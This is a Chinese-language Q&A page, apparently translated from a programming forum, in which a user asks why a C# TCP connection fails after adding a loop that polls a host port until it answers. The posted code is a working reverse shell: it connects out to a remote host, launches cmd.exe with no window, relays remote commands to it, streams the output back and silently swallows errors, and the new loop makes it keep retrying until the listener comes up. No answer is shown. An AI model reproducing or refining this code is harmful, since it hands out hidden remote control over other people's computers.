首页 > 解决方案 > ping 目标端口后 Tcp 未连接

问题描述

我正在编写一个程序来通过 cmd 从另一台计算机控制计算机。当我想确保主机已启动时,我遇到了一个问题。

try
            {
                using (TcpClient client = new TcpClient(IP, portNumber))
                {
                    using (Stream stream = client.GetStream())
                    {
                        using (StreamReader rdr = new StreamReader(stream))
                        {
                            streamWriter = new StreamWriter(stream);

                            StringBuilder strInput = new StringBuilder();

                            Process p = new Process();
                            p.StartInfo.FileName = "cmd.exe";
                            p.StartInfo.CreateNoWindow = true;
                            p.StartInfo.UseShellExecute = false;
                            p.StartInfo.RedirectStandardOutput = true;
                            p.StartInfo.RedirectStandardInput = true;
                            p.StartInfo.RedirectStandardError = true;
                            p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                            p.Start();
                            p.BeginOutputReadLine();

                            while (true)
                            {
                                strInput.Append(rdr.ReadLine());
                                strInput.Append("\n");
                                p.StandardInput.WriteLine(strInput);
                                strInput.Remove(0, strInput.Length);
                            }
                        }
                    }
                }
            }
            catch (Exception e )
            {
            Console.WriteLine(e);
            }

这是 tcp 远程连接的代码。它独立运行非常好。现在我尝试修改它,使其尝试连接,直到建立连接。所以我添加了一个 while 循环和一个 PingHost 方法来 ping 特定端口上的主机:

                string IP = "My_IP_for_testing";
            int portNumber = 1234;
            bool available = PingHost(IP, portNumber);
            while (available == false)
                {
                    Thread.Sleep(500);
                    available = PingHost(IP, portNumber);
                    Console.WriteLine("Failure");
                }
            Console.WriteLine("Success");
            try
            {
                using (TcpClient client = new TcpClient(IP, portNumber))
                {
                    using (Stream stream = client.GetStream())
                    {
                        using (StreamReader rdr = new StreamReader(stream))
                        {
                            streamWriter = new StreamWriter(stream);

                            StringBuilder strInput = new StringBuilder();

                            Process p = new Process();
                            p.StartInfo.FileName = "cmd.exe";
                            p.StartInfo.CreateNoWindow = true;
                            p.StartInfo.UseShellExecute = false;
                            p.StartInfo.RedirectStandardOutput = true;
                            p.StartInfo.RedirectStandardInput = true;
                            p.StartInfo.RedirectStandardError = true;
                            p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                            p.Start();
                            p.BeginOutputReadLine();

                            while (true)
                            {
                                strInput.Append(rdr.ReadLine());
                                strInput.Append("\n");
                                p.StandardInput.WriteLine(strInput);
                                strInput.Remove(0, strInput.Length);
                            }
                        }
                    }
                }
            }
            catch (Exception e )
            {
            Console.WriteLine(e);
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception ex)
            {
                // silence is golden
            }
        }
    }
        public static bool PingHost(string hostURI, int portNumber) 
        {
        try
        {
            using (TcpClient client = new TcpClient(hostURI, portNumber))
                client.Client.Disconnect(true);
            return true;
        }
        catch
        {
            return false;
        }
        }
    }
}

抛出的异常与无法与我发布的第一个代码示例建立连接相同(主机未启动,ExtendedSocketException (10061))。我希望你能帮助我!祝你今天过得愉快!

标签: c#tcpping

解决方案


推荐阅读